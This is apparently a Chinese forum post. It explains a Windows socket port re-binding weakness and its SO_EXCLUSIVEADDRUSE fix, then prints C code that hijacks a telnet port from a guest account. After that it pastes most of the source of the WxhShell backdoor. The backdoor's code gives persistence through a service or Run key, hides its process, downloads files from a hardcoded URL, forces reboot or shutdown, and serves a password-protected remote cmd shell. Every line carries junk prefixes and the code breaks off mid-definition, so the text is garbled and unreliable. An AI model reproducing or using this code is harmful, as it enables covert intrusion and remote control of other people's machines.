在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l>pnY%(A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L/,M@1@R ,9W!cD+0 saddr.sin_family = AF_INET;
.19_EQ>+ rrl{3
? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
WB" 90! ;MW=F9U* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:Y4G^i qR^+K@*| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
C`\yc_b9Pf -IL' (vx 这意味着什么?意味着可以进行如下的攻击:
{%z5^o1) 7/bF04~% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
la{o<||Aq lht :%Ts$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`91?^T;\F l(~NpT{=V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z[0t%]7l ($[@'?Z1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_:G>bU/^ Yz>8 Nn '_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ZU5; w 8[IR;gZf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
gO bP 20 )8e!jP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"Wy!,RH K?=g
IC: #include
Kj+TPqXb #include
oi%IHX(` #include
xgWVxX^) #include
D}?JX5. DWORD WINAPI ClientThread(LPVOID lpParam);
t=n@<1d int main()
'^BTa6W}m {
_j]vR WORD wVersionRequested;
_+qtH< F/ DWORD ret;
V/J-zH& WSADATA wsaData;
A~8-{F 31 BOOL val;
!-8y;,P SOCKADDR_IN saddr;
8-)@q| SOCKADDR_IN scaddr;
}QJ6"s
int err;
sDXQ{*6a SOCKET s;
D#11
N^-K SOCKET sc;
|k)Nf+(}W
int caddsize;
k'K 1zUBj HANDLE mt;
}nWW`:t kx DWORD tid;
W<H<~wf# wVersionRequested = MAKEWORD( 2, 2 );
#a!qJeWm0 err = WSAStartup( wVersionRequested, &wsaData );
K}Lu1:~ if ( err != 0 ) {
Sp@{5 printf("error!WSAStartup failed!\n");
eit %U return -1;
f:h<tlob }
!3Q^oR saddr.sin_family = AF_INET;
2bTM0- 3NrWt2? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i",oPz7 (Uk\O`)m saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,h'omU7 saddr.sin_port = htons(23);
vVH*\&H\T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7@ mP;K0 {
rv%^2h<& printf("error!socket failed!\n");
fUB+9G(Bx return -1;
Kk/cI6`W }
't3nh val = TRUE;
<s5s<q2 //SO_REUSEADDR选项就是可以实现端口重绑定的
h\*I*I8C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}z_7?dn/ {
KOD%>+vG$ printf("error!setsockopt failed!\n");
Wq*W+7=. return -1;
FMAt6HfU }
n#)kvr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
jn>RE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0zXF{5Up //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ljjnqQ% >>0c)uC|W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,kE"M1W {
CDWchY ret=GetLastError();
3mXRLx=0> printf("error!bind failed!\n");
s6_[H return -1;
E=l^&[dIl }
~tqDh( listen(s,2);
'h;x>r while(1)
[2nPr^ {
xu*dPG)v caddsize = sizeof(scaddr);
@'FO M //接受连接请求
*x&y24 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
yx/.4DW1Ua if(sc!=INVALID_SOCKET)
-P=Hp/ELi {
5w@Q %'o`I mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Z+C&?K if(mt==NULL)
A@JZK+WB} {
R?+:Js/ printf("Thread Creat Failed!\n");
Mt+ggF. break;
l*n4d[0J }
:faB7wduW; }
"6o5x&H CloseHandle(mt);
u
YJL^I8M' }
[7gwJiK closesocket(s);
+xRSd * WSACleanup();
gq an]b_ return 0;
f7j9'k }
F(;C \[Ep DWORD WINAPI ClientThread(LPVOID lpParam)
C\;
$RH {
?\![W5uuXG SOCKET ss = (SOCKET)lpParam;
GYNLyd) SOCKET sc;
'Mm=<Bh unsigned char buf[4096];
:*s+X$x,< SOCKADDR_IN saddr;
2~2j?\AEd. long num;
FK.Qj P: DWORD val;
P};GcV- DWORD ret;
uM('R;<^ //如果是隐藏端口应用的话,可以在此处加一些判断
?FwjbG< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Af7&;8pM saddr.sin_family = AF_INET;
HU+zzTgI saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
wT-@v,$ saddr.sin_port = htons(23);
rgXD>yu( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K^+}__;] {
q.NvwJ printf("error!socket failed!\n");
,N`D{H"F return -1;
9>HCt*|_8 }
/V)4B4 val = 100;
-[.A6W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\t@4)+s/) {
#[ch?K ret = GetLastError();
{aq}Q|?/ return -1;
g\foBK:GE }
d]w%zo,yr if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:pPn)j$ {
~TfQuIvQB ret = GetLastError();
3eP7vy return -1;
SjB#"A5 }
]<?7CpP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
mL[Y{t#N {
*IBCThj printf("error!socket connect failed!\n");
k>q}: J9V closesocket(sc);
e&J_uG closesocket(ss);
qI#ow_lL# return -1;
uV+.(sjH }
%t<ba[9F while(1)
UV8K$n< {
W05>\Rl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&[|P/gj#> //如果是嗅探内容的话,可以再此处进行内容分析和记录
*;yn_zg //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_4#&!b6 num = recv(ss,buf,4096,0);
!E|k#c9 if(num>0)
SebJ}P1x send(sc,buf,num,0);
N_),'2 else if(num==0)
Ig M_l= break;
F(#~.i num = recv(sc,buf,4096,0);
AV*eGzz` if(num>0)
m5rJY/ send(ss,buf,num,0);
!_SIq`5]@ else if(num==0)
;l>C[6] break;
_F9O4Q4 }
*QT|J6ng closesocket(ss);
nH% 1lD?: closesocket(sc);
y OLqIvN return 0 ;
BbdJR]N/!h }
a5xmIp@6 "ZLujpZcG +1j+%&). ==========================================================
njN]0l{p mtn+bV
R% 下边附上一个代码,,WXhSHELL
2>!?EIE7 EU"J'? ==========================================================
CiSl0 Yab=p
9V;; #include "stdafx.h"
nlkQ'XGAI eq#x~O4 #include <stdio.h>
-L%2*`-L$ #include <string.h>
j1{\nP/ #include <windows.h>
bxA1fA; #include <winsock2.h>
@Xb>GPVe#L #include <winsvc.h>
=ykOh_M #include <urlmon.h>
C#A\Rfi 5zBayJh# #pragma comment (lib, "Ws2_32.lib")
d$(>=gzBQ #pragma comment (lib, "urlmon.lib")
;c;n.o.)/# )Mj
$/ #define MAX_USER 100 // 最大客户端连接数
';0NWFP #define BUF_SOCK 200 // sock buffer
+)gXU Vwd #define KEY_BUFF 255 // 输入 buffer
gYy9N=f+ Cq-#|+zr #define REBOOT 0 // 重启
,@'M'S #define SHUTDOWN 1 // 关机
9?_ybO~Oq wuQ>|\Zs #define DEF_PORT 5000 // 监听端口
w(xRL#% 5Si\hk:o #define REG_LEN 16 // 注册表键长度
'o*:~n #define SVC_LEN 80 // NT服务名长度
,$qqHSd1M qm&Z_6Pw // 从dll定义API
4/Bn9F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%g<J"/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}_{QsPx9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(s\":5
C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0fd\R_"d. U~w g' // wxhshell配置信息
FTg4i\Wp struct WSCFG {
,LHQ@/}A C int ws_port; // 监听端口
2m?!!Weq char ws_passstr[REG_LEN]; // 口令
V^U1o[` int ws_autoins; // 安装标记, 1=yes 0=no
i!=28|_ char ws_regname[REG_LEN]; // 注册表键名
?98]\pI
char ws_svcname[REG_LEN]; // 服务名
Dxwv\+7] char ws_svcdisp[SVC_LEN]; // 服务显示名
0y3<Ho,+$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
!tNJLOYf char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Fc"&lk4e int ws_downexe; // 下载执行标记, 1=yes 0=no
*!gj$GK@% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
QFfKEMN char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6^DsI Ph&fOj=pFb };
Sp]i~#q_' P;dp>jL // default Wxhshell configuration
.u_k?.8| struct WSCFG wscfg={DEF_PORT,
/@H2m\vBX "xuhuanlingzhe",
%ycCNS 1,
:~2An-V "Wxhshell",
kH43 T "Wxhshell",
;Q]j"1c "WxhShell Service",
%YaUc{.% "Wrsky Windows CmdShell Service",
^3-Wxn9& "Please Input Your Password: ",
;^,2
Qs M 1,
L8~nx}UP5 "
http://www.wrsky.com/wxhshell.exe",
]/+qM)F "Wxhshell.exe"
^!*?vHx: };
Z-{!Z;T)z (&6C,O~n^. // 消息定义模块
/I'n] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?]=fC{Rh char *msg_ws_prompt="\n\r? for help\n\r#>";
lK?
Z38 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/ h6(!-" char *msg_ws_ext="\n\rExit.";
FBGHVV
w! char *msg_ws_end="\n\rQuit.";
6rnehv!p char *msg_ws_boot="\n\rReboot...";
y%H;o?<WX char *msg_ws_poff="\n\rShutdown...";
|-zwl8E char *msg_ws_down="\n\rSave to ";
sX&M+'h S%ri/}qI[{ char *msg_ws_err="\n\rErr!";
h]94\XQ>$ char *msg_ws_ok="\n\rOK!";
vl@t4\@3 {tE/Jv $ char ExeFile[MAX_PATH];
p0.?R int nUser = 0;
s'^zudx HANDLE handles[MAX_USER];
;!@\|E int OsIsNt;
T2wn!N?r afEp4(X~ SERVICE_STATUS serviceStatus;
W7as=+;X SERVICE_STATUS_HANDLE hServiceStatusHandle;
fJCh G5Ci"0 // 函数声明
k"SmbFn%N0 int Install(void);
\ooqa<_ int Uninstall(void);
>5Zpx8W int DownloadFile(char *sURL, SOCKET wsh);
^gFjm~2I int Boot(int flag);
7F-b/AdVq void HideProc(void);
0<L@f=i int GetOsVer(void);
lO9{S=N int Wxhshell(SOCKET wsl);
%f;( void TalkWithClient(void *cs);
f*~ 4Kv int CmdShell(SOCKET sock);
%uGA+ \b int StartFromService(void);
@"s\eL,r int StartWxhshell(LPSTR lpCmdLine);
5Ag>,>kJ6 Xl6)& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4[3T%jA VOID WINAPI NTServiceHandler( DWORD fdwControl );
D^PsV +k"dN^K]D // 数据结构和表定义
Et'C4od s SERVICE_TABLE_ENTRY DispatchTable[] =
wN)R !6 {
| 4I x2GD {wscfg.ws_svcname, NTServiceMain},
04;y%~,}U/ {NULL, NULL}
ABV\:u };
,l<-*yMD z1+rz% // 自我安装
1#qCD["8 int Install(void)
LM'` U-/e$ {
g]xZ^M+ char svExeFile[MAX_PATH];
6\,^MI HKEY key;
)
WIlj strcpy(svExeFile,ExeFile);
FbM5Bqv ^@L[0Z` // 如果是win9x系统,修改注册表设为自启动
U8-9^}DBA if(!OsIsNt) {
~+>M,LfK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wZa;cg.-q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(r[<g*+3 RegCloseKey(key);
A2&&iL=j/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f
5i`B*/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=zA=D.D2 RegCloseKey(key);
1MJ]Gh]5 return 0;
ID+'$u& }
nu0bJ:0aLd }
29ft!R>[ }
YY!(/<VI else {
_ga!TQ: b+p!{ // 如果是NT以上系统,安装为系统服务
A?}OOjA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k7{fkl9|# if (schSCManager!=0)
ga^<_;5< {
*gz {:}NX SC_HANDLE schService = CreateService
#>'1oC{ (
H[N&Wiq/| schSCManager,
^z&xy41#B wscfg.ws_svcname,
iL 4SL}P wscfg.ws_svcdisp,
'v|2}T* SERVICE_ALL_ACCESS,
$fKwJFr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g&0GO:F` SERVICE_AUTO_START,
4_.k Q"'DH SERVICE_ERROR_NORMAL,
J|FyY)_ svExeFile,
&<Gq-IN NULL,
Rg[e~## NULL,
IPxfjBC+J NULL,
l!AZ$IV NULL,
u
F*cS&'Z NULL
ex!^&7Q( );
4}LF>_+= if (schService!=0)
@B9|{[P {
x>8f#B\Mr CloseServiceHandle(schService);
MZjiJZaO:L CloseServiceHandle(schSCManager);
Mqh~ 5NM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
F[=m|MZb strcat(svExeFile,wscfg.ws_svcname);
|C&eH$?~=R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3Xh&l[. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8&C(0H]1 RegCloseKey(key);
hYd8}BvA return 0;
`u>BtAx8 }
@J<B^_+Se }
#8z\i2I CloseServiceHandle(schSCManager);
d}o1 j }
`f'q / }
78QFaN$ ?3Jh{F_+ return 1;
2mlE;.}8 }
$GO'L2oLwn ^p7( // 自我卸载
=hs@W)-O int Uninstall(void)
4P~<_]yf {
\~)573' HKEY key;
GO)rpk9 /MU<)[*Ro if(!OsIsNt) {
>(*jbL]p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f<;9q?0V F RegDeleteValue(key,wscfg.ws_regname);
-KNJCcBJ RegCloseKey(key);
a;S^<8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:9h8q"T RegDeleteValue(key,wscfg.ws_regname);
Gj ^bz'2 RegCloseKey(key);
0 j.Sb2 return 0;
JZXc1R| 9 }
,){0y%c#y }
$Tur"_`I; }
.E}});l else {
aXJe"IT.u Y@4vQm+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
XP` kf]9 if (schSCManager!=0)
v4zd
x) {
5,c` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
u9gr@06 if (schService!=0)
*"CvB{XF&Z {
lhI;K4# if(DeleteService(schService)!=0) {
I coL/7k3 CloseServiceHandle(schService);
Td F< CloseServiceHandle(schSCManager);
%xfy\of+Nk return 0;
j&Aq^aI }
F:@Ixk?E CloseServiceHandle(schService);
}6bLukv }
$ vjmW!
O CloseServiceHandle(schSCManager);
$~YuS_sYg }
c~'kW`sNV }
)mPlB. -&EmEXs% return 1;
JgB# EoF }
heKI<[8l 2$o[ // 从指定url下载文件
0/ Ht;( int DownloadFile(char *sURL, SOCKET wsh)
'oHR4O* {
_Nn!SE HRESULT hr;
.;:xx~G_Q char seps[]= "/";
EC~t'v char *token;
;9PM?Iy[ char *file;
vRq xZN char myURL[MAX_PATH];
DsX>xzM char myFILE[MAX_PATH];
ZH(.|NaH 1;P\mff3Y strcpy(myURL,sURL);
eI}VH BAz token=strtok(myURL,seps);
HIq1/) while(token!=NULL)
]2(c$R
{
eFio, file=token;
4PWr;& token=strtok(NULL,seps);
-"zu"H~t4 }
8[C6LG ,2TqzU; GetCurrentDirectory(MAX_PATH,myFILE);
Y2X1!Em>B strcat(myFILE, "\\");
F&*M$@u5 strcat(myFILE, file);
S0+zq< send(wsh,myFILE,strlen(myFILE),0);
ja;5:=8A5 send(wsh,"...",3,0);
Vi#im`@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>>$|,Q-. if(hr==S_OK)
_o.Z`] return 0;
L)}V[j# else
gxOmbQt@; return 1;
W\,lII0 z\tJ~ }
B0i}Y-Z !_
Q!H2il // 系统电源模块
%d0S-. int Boot(int flag)
aHC;p=RQ\A {
.e"Qv*[^ HANDLE hToken;
(g m^o{ TOKEN_PRIVILEGES tkp;
C.E>) A7C+&I!L if(OsIsNt) {
AE&n^vdQW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GX)QIe~;qJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
g8+,wSE tkp.PrivilegeCount = 1;
U_- K6:tr tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5S]P#8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%5*#c*)R if(flag==REBOOT) {
? ~Zrd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
M@g
gLW return 0;
JJ?ri, }
d&bc>Vt else {
Z]TVH8%|k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]7t\%_
return 0;
z4641q5'm }
6B/"M-YME }
d;SRK @ else {
%-/:ps if(flag==REBOOT) {
t4/eB<fP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]&U| d return 0;
Noxz kpMF }
?0NSjK5ma else {
9yo[T(8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%`QsX {?, return 0;
;lH,bX~5 }
,R}KcZG) }
"IG$VjgcB X&s\_jQ return 1;
a{HgIQg_>R }
(eG]Cp@ R6Mxdm2P} // win9x进程隐藏模块
W 'a~pB1I void HideProc(void)
4sBoD=e {
5?L:8kHsH j!MA]0lTM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6r=)V$K< if ( hKernel != NULL )
%]0U60 {
#}7m'F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
HQ`nq~%&( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+Z&&H'xD FreeLibrary(hKernel);
4VJzs$ }
2Lekckgv 'lsq3!d. return;
e'Us(]ZO }
[y[v]'
`$Fl gp0P // 获取操作系统版本
pZ~>l=- int GetOsVer(void)
V1nZ M {
$ t# ,'M OSVERSIONINFO winfo;
XjZao<?u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kqigFcz!Y GetVersionEx(&winfo);
&@utAuI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
X,EYa>RSy_ return 1;
a/<pf\O else
csX*XiDWm return 0;
gQd=0"MV }
d<GG( q\t>D
_lU // 客户端句柄模块
*DCNu{6 int Wxhshell(SOCKET wsl)
i?_D]BY4 {
x]><}!\<& SOCKET wsh;
cw]>a&d struct sockaddr_in client;
K'5sn|) DWORD myID;
mz$Wo *FB =R;1vUio while(nUser<MAX_USER)
vYR=TN=Z4
{
0tm_}L$g=b int nSize=sizeof(client);
8pL>wL
&C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Ky9No"o if(wsh==INVALID_SOCKET) return 1;
XBWSO@M' O4d^ig-xaH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xDA,?i;T
0 if(handles[nUser]==0)
ok%a|Zz+] closesocket(wsh);
#D LT-G0 else
-~ O;tJF2 nUser++;
D0y,TF }
`-K)K< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/zG-\e U v(@+6#& return 0;
S5E,f?l }
OZB}aow .A"T086 // 关闭 socket
K~y9zF{ void CloseIt(SOCKET wsh)
TaQ "G {
\LoSUl
i closesocket(wsh);
<W=[
sWJ nUser--;
#!=>muZt ExitThread(0);
:Bv&)RK }
;TV'PJ %<J(lC9,C // 客户端请求句柄
`YmI' void TalkWithClient(void *cs)
Q0q)n=i}] {
)'
x/q H&yFSz}6a SOCKET wsh=(SOCKET)cs;
~b$z\|Y char pwd[SVC_LEN];
xL39>PB char cmd[KEY_BUFF];
OZC/+"\, char chr[1];
!w#ru?L{ int i,j;
;sck+FP7w d%_78nOh" while (nUser < MAX_USER) {
Qk~0a?#y5 $-fj rQ if(wscfg.ws_passstr) {
0bPJEEd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k$0|^GL8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i_9Cc$Qh< //ZeroMemory(pwd,KEY_BUFF);
9B#)h)h(= i=0;
PD}SPOA`U3 while(i<SVC_LEN) {
cGpN4|*rQ q0b`HD // 设置超时
!|Xl 8lV` fd_set FdRead;
:L [YmZ struct timeval TimeOut;
)kL`&+#> FD_ZERO(&FdRead);
Bgk~R.l FD_SET(wsh,&FdRead);
9-a2L JI TimeOut.tv_sec=8;
im4e!gRE TimeOut.tv_usec=0;
.sJys SA\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0.u9f`04 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
TM/|K|_ iB}LnC: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S4 k^&$; pwd
=chr[0]; >G4HZE
if(chr[0]==0xd || chr[0]==0xa) { 5}X<(q(
pwd=0; anz9lGG#
break; N.5KPAvg%
} 7>t$<J
i++; e}?1T7NPG]
} STXqq[+Rf
gf3u0' $
// 如果是非法用户,关闭 socket <(#xOe
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N'eQ>2>O@
} 2sd ) w
s.p1L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EvSnZB1 y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <i:*p1#Bm
KB%j! ?
while(1) { 'XP>} m
+B`'P9Zk@
ZeroMemory(cmd,KEY_BUFF); z,}c?BP
f 74%YY
// 自动支持客户端 telnet标准 ~C/Yv&58
j=0; e_I; y
while(j<KEY_BUFF) { >Bh)7>`3c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QLF,/"
cmd[j]=chr[0]; Wk\mgGn+
if(chr[0]==0xa || chr[0]==0xd) { @pqY9_:P1
cmd[j]=0; J+3\2D?
break; dJ%wVY0z=
} .-('C> @
j++; k7yv>iN
} }sTH.%
(E"&UC[
// 下载文件 uKR\Xo}
if(strstr(cmd,"http://")) { so?pA@O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cotxo?)Zv
if(DownloadFile(cmd,wsh)) o;M.Rt\A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |n|U;|'^
else -!'Oy%a#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }J+ce
} %jbJ6c
else { *2 qh3
_S9rF-9G]
switch(cmd[0]) { >0Fxyv8
1AV1d%F
// 帮助 g{g`YvLu^
case '?': { gZ`32fB%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gsds!z$
break; q:`77
} pgz:F#>
// 安装 klK-,J
case 'i': { ot|N;=ZKo
if(Install()) MO));M)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lf,CxZL5
else 'L>&ZgLy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rQu
break; L\/u}]dPQ
} SWNU1x{,c\
// 卸载 Fe_::NVvk
case 'r': { jgo e^f
if(Uninstall()) 6)=](VmNL`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ffmG~$Yh_
else 8N=%X-R%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H$NP1^5!
break; Gt^|+[gD
} Wphe%Of
// 显示 wxhshell 所在路径 ewb*?In
case 'p': { ntrY =Y
char svExeFile[MAX_PATH]; 8Zcol$XS'
strcpy(svExeFile,"\n\r"); =&di4'`
strcat(svExeFile,ExeFile); b34zhZ
send(wsh,svExeFile,strlen(svExeFile),0); 2x7(}+eD
break; c&E*KfOG
} bn0"M+7)f
// 重启 azao`z
case 'b': { d u.HSXK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zw;$(="
if(Boot(REBOOT)) O{lIs_1.Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8yHq7=
else { qiG]nCq
closesocket(wsh); %/{IssCR7
ExitThread(0); BKa A=Bl
} x2
w8zT6M
break; R'*<A3^
} ^-gfib|VGe
// 关机 _v1bTg"?
case 'd': { -rEeKt
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zij"/gx\
if(Boot(SHUTDOWN)) IY];Ss&i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bin6i2b
else { ]*bAF^8i
closesocket(wsh); XHWh'G9
ExitThread(0); J|n(dVen/
} Jn@Z8%B@Z
break; .yZK.[x4
} l\K%
// 获取shell Cr'
!"F
case 's': { kR<xtHW
CmdShell(wsh); +:Lk^Ny
closesocket(wsh); NzjMk4t
ExitThread(0); lr9=OlH
break; ?wGiog<Q{
} 4a\n4KO X
// 退出 *D\0.K,o
case 'x': { pG)9=X!9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P#AAOSlLV
CloseIt(wsh); _L$)2sl1R
break; TFBYY{Y
} T&?w"T2y
// 离开 $-m@KB
case 'q': { 9uuta4&uI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); i?ZA x4D
closesocket(wsh); oR-O~_)U
WSACleanup(); /0Z|+L9Jo
exit(1); zl0;84:H
break; t[%x}0FP-F
} ^Ku\l #B
} ~RcNZ\2y
} VT'0DQ!NIq
o^6jyb!j
// 提示信息 4uFIpS|rq
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Z_t%J5QZ$
} WLE%d]'%M
} 5i^ `vmK
\M+MDT&
return; gdOe)il\
} 7;^((.]ln
{?w"hjy
// shell模块句柄 MK omq
int CmdShell(SOCKET sock) E|Q{]&$;Z"
{ S
<2}8D
STARTUPINFO si; AnRlH
ZeroMemory(&si,sizeof(si)); _o\>V:IZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DLU[<!C
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sbp
PROCESS_INFORMATION ProcessInfo; aD+0\I[x
char cmdline[]="cmd"; z9^c]U U)E
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cy`26[E$S
return 0; ldK>HxM%Z
} ,g%o
w-r_H!-
// 自身启动模式 Ft3I>=f{
int StartFromService(void) Sc$gnUYD{
{ kzMa+(fu
typedef struct B#1:Y;Z
{ " <qEXX
